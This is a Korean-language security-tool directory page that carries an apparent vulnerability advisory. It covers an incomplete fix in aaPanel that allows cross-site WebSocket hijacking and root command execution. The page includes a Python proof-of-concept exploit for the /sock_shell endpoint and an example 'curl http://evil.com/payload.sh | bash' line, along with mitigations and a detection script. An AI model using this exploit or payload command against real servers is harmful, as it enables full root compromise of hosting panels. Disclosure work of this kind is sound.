Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
aapanel-ws-bypass — aaPanel WebSocket CSRF 우회로 인한 RCE (CVE-2021-37840에 대한 불완전한 수정) | Kitploit
도구/GitHubGitHub/eonsecurity/aapanel-ws-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

aaPanel WebSocket CSRF 우회로 인한 RCE (CVE-2021-37840에 대한 불완전한 수정)

저장소 보기
52개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

aaPanel: 벤더가 항상 제대로 수정하지는 않습니다

CVE-2021-37840의 불완전한 수정으로 인해 5년 후에도 360만 대의 서버가 여전히 루트 RCE에 노출됨

발견자: EON Security
CVE: 배정 대기 중
CVSS: 8.8 (높음) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
영향: aaPanel 버전 6.8.12 ~ 7.65.0 (2021년 수정 이후 모든 버전)
설치 기반: 360만+ 서버


간단 요약

2021년, 360만+ 서버에서 실행되는 무료 호스팅 제어판 aaPanel에서 CSWSH(Cross-Site WebSocket Hijacking) 취약점(CVE-2021-37840)이 공개되었습니다. 벤더는 이를 "수정"하기 위해 CSRF 토큰 검사를 추가했습니다.

수정 자체가 아키텍처적으로 잘못되었습니다.

수정은 HTTP 레벨에서 인증되지 않은 WebSocket 연결을 거부(401 반환)하는 대신, 모든 연결을 허용(101 Switching Protocols 반환)하고 핸들러 내부에서만 인증을 확인합니다. 즉, WebSocket이 이미 설정된 이후에 확인이 이루어집니다. 추가된 CSRF 검사는 여러 방법으로 우회할 수 있습니다.

EON Security는 5년 후에도 모든 aaPanel 버전이 동일한 공격 클래스에 취약하다는 사실을 발견했습니다.

이는 aaPanel의 6년 이상 역사에서 10번째 CVE에 불과합니다.



일반 언어로 설명

aaPanel을 실행 중인 경우, 공격자가 다음과 같이 피해를 입힐 수 있습니다:

시나리오 1: 관리자가 잘못된 링크를 클릭함

  1. 팀원이 클릭해서는 안 되는 링크(이메일, 광고, 메시지)를 클릭합니다.
  2. 해당 페이지가 비밀리에 사용자의 aaPanel에 WebSocket 연결을 엽니다. 사용자가 이미 로그인되어 있기 때문에 브라우저가 로그인 쿠키를 자동으로 포함합니다.
  3. aaPanel은 유효한 세션을 확인하고 연결을 허용합니다. 인증이 통과됩니다.
  4. 공격자가 curl http://evil.com/payload.sh | bash를 보냅니다. 해당 명령이 루트 권한으로 서버에서 실행됩니다.
  5. 서버가 완전히 손상됩니다: 웹사이트 도난, 데이터베이스 삭제, 방문자에게 멀웨어 제공.

클릭 한 번만 필요합니다. 한 번의 잘못된 클릭으로 공격자가 모든 것을 장악합니다.

시나리오 2: API 키 유출

  1. API 키가 공개 GitHub 저장소, 구성 백업, 개발자 노트 등 잘못된 곳에 노출됩니다.
  2. 공격자가 해당 키로 인증하고 aaPanel에 WebSocket을 엽니다.
  3. CSRF 검사는 "이것은 API 인증 요청입니다"라고 인식하고 검사를 완전히 건너뜁니다. 코드에 내장된 하드 바이패스입니다.
  4. 공격자가 즉시 루트로 명령을 실행합니다.
  5. 관리자 클릭 없음, 경고 없음, 의심스러운 로그 없음 — 그냥 즉시 손상됩니다.

이것이 더 큰 문제입니다. CSRF 보호는 API 인증 요청에는 전혀 적용되지 않습니다. 브라우저 기반 연결을 확인하도록 설계되었지만, API 액세스를 위한 코드 경로가 이를 완전히 우회합니다.

어느 쪽이든, 360만 대의 서버가 영향을 받습니다. 2021년 이후 모든 버전에서.

  1. 모든 10개의 WebSocket 엔드포인트는 사용자 신원 확인 전에 연결을 수락합니다 — 인증 확인 전에 HTTP 101 Switching Protocols를 반환합니다.
  2. CSRF 검사에는 하드 바이패스 조건이 있습니다 — g.api_request=True (API 인증 요청) 및 g.is_aes=True (AES 암호화 요청)가 검사를 완전히 건너뜁니다.
  3. /sock_shell 엔드포인트는 임의 명령을 실행합니다 — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. /webssh 엔드포인트는 공격자가 제공한 SSH 자격 증명을 수락합니다 — 모든 SSH 호스트에 연결 가능
  5. 루트로 실행 — 전체 서버 손상

취약점 세부 정보

1. WebSocket 엔드포인트가 인증 전에 연결을 수락함

모든 WebSocket 엔드포인트는 인증 확인 전에 HTTP 101 Switching Protocols를 반환합니다. comm.local() 인증 검사는 WebSocket 업그레이드가 완료된 후 핸들러 내부에서 실행됩니다:

root@kitploit:~
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← 인증 검사가 101 이후에 발생
    if comReturn:
        ws.send(str(comReturn))
        return

영향을 받는 엔드포인트:

  • /webssh (SSH 터미널 프록시)
  • /sock_shell (직접 명령 실행)
  • /ws_panel (패널 관리)
  • /ws_home (대시보드)
  • /ws_project (프로젝트 관리)
  • /ws_model (모델 관리)
  • /workorder_client (티켓 시스템)
  • 위 모든 항목의 /v2/* 변형

2. CSRF 토큰 검사 우회

check_csrf_websocket() 함수는 CSWSH(Cross-Site WebSocket Hijacking)를 방지하기 위해 설계되었습니다:

root@kitploit:~
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← 우회: AES 모드는 검사 건너뜀
    if g.api_request: return True    # ← 우회: API 요청은 검사 건너뜀
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

두 가지 하드 바이패스 조건이 존재합니다:

  • g.api_request: True인 경우(API 키 인증 중 설정), CSRF 검사가 완전히 생략됩니다. API 인증된 WebSocket 세션은 이 보호를 우회합니다.
  • g.is_aes: True인 경우(AES 암호화 API 요청 중 설정), CSRF 검사도 생략됩니다.

토큰 비교(get_csrf_sess_html_token_value())는 session.get('request_token_head', "")를 반환합니다. 이 값이 아직 초기화되지 않은 세션에서는 빈 x-http-token이 검사를 통과합니다.

3. sock_shell을 통한 명령 실행

/sock_shell 엔드포인트는 공격자가 제공한 문자열을 shell=True와 함께 subprocess.Popen에 직접 전달합니다:

root@kitploit:~
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← 임의 명령 실행
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

WebSocket을 통해 수신된 각 메시지는 쉘 명령으로 실행됩니다. 출력은 WebSocket을 통해 다시 스트리밍됩니다. aaPanel이 루트로 실행되므로 이는 전체 시스템 손상입니다.

4. webssh를 통한 SSH 프록시

/webssh 엔드포인트는 첫 번째 WebSocket 메시지에서 공격자가 제공한 SSH 연결 매개변수를 수락합니다:

root@kitploit:~
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

호스트가 127.0.0.1 또는 localhost인 경우 핸들러는 데이터베이스에서 저장된 자격 증명을 확인하거나 공격자가 제공한 자격 증명을 사용합니다.


공격 시나리오

주요 익스플로잇 경로는 CSWSH(Cross-Site WebSocket Hijacking) 로, 사용자 상호작용이 필요합니다:

  1. 관리자가 활성 aaPanel 세션을 가지고 있음(로그인 상태)
  2. 관리자가 악성 웹페이지를 방문함
  3. 페이지가 wss://victim-panel:8888/sock_shell에 WebSocket을 엽니다
  4. 브라우저가 자동으로 세션 쿠키를 포함합니다
  5. comm.local()이 인증을 통과시킵니다(유효한 세션 쿠키)
  6. 공격자가 {"x-http-token": ""}를 보내거나 API/AES 우회 경로를 악용합니다
  7. CSRF 검사를 통과하면 루트로 명령을 실행할 수 있습니다

API 키 손상을 통한 대체 경로:

  1. 공격자가 유효한 aaPanel API 키를 획득합니다
  2. API 인증 요청이 g.api_request = True를 설정합니다
  3. 이러한 요청에 대해 CSRF 검사가 완전히 생략됩니다
  4. 사용자 상호작용 없이 WebSocket을 통한 직접 명령 실행

영향을 받는 엔드포인트

엔드포인트기능영향
/websshSSH 터미널 프록시공격자 자격 증명으로 임의 SSH 호스트에 연결
/sock_shell직접 명령 실행쉘 명령을 통한 루트 RCE
/ws_panel패널 관리패널 데이터 액세스
/ws_home대시보드대시보드 데이터 액세스
/ws_project프로젝트 관리프로젝트 데이터 액세스
/ws_model모델 관리모델 데이터 액세스
/workorder_client티켓 시스템티켓 데이터 액세스
/v2/*모든 v2 변형위와 동일

PoC

root@kitploit:~
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # 빈 토큰으로 CSRF 우회 시도
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF 검사 활성화됨 — API 인증 우회 필요할 수 있음
            return None
        
        # 명령 실행
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

전체 PoC: exploit.py


탐지

check.py 스크립트를 사용하여 aaPanel 인스턴스에 취약한 WebSocket 엔드포인트가 있는지 테스트하세요:

root@kitploit:~
python3 check.py https://target:8888

완화 방법

  1. WebSocket 업그레이드를 수락하기 전에 인증 확인 — 핸드셰이크 수준에서 HTTP 401 반환, 이후가 아님
  2. 하드 바이패스 조건 제거 — g.api_request 및 g.is_aes가 CSRF 보호를 건너뛰지 않아야 함
  3. WebSocket 업그레이드 시 Origin 헤더 검증 — 인식되지 않은 출처 거부
  4. 필요하지 않으면 sock_shell 비활성화 — 직접 루트 명령 실행을 제공함
  5. aaPanel 관리 인터페이스에 대한 네트워크 액세스 제한

타임라인

날짜이벤트
2021-08-02CVE-2021-37840 공개 (aaPanel CSWSH)
2021벤더가 check_csrf_websocket()을 수정으로 추가
2026-06-23EON Security가 수정이 불완전함을 발견
대기 중CVE 배정
대기 중공개 공개

참고 자료

  • CVE-2021-37840 — 원래 aaPanel CSWSH
  • CVE-2026-29859 — aaPanel 임의 파일 업로드 (2026년 3월)
  • aaPanel GitHub — 공식 저장소
  • EON Security — 발견자

크레딧

Yadav — EON Security
웹사이트: https://eonsecurity.co.za


라이선스

이 콘텐츠는 MIT 라이선스에 따라 제공됩니다. PoC는 교육 및 방어 목적으로만 제공됩니다.

도구 다운로드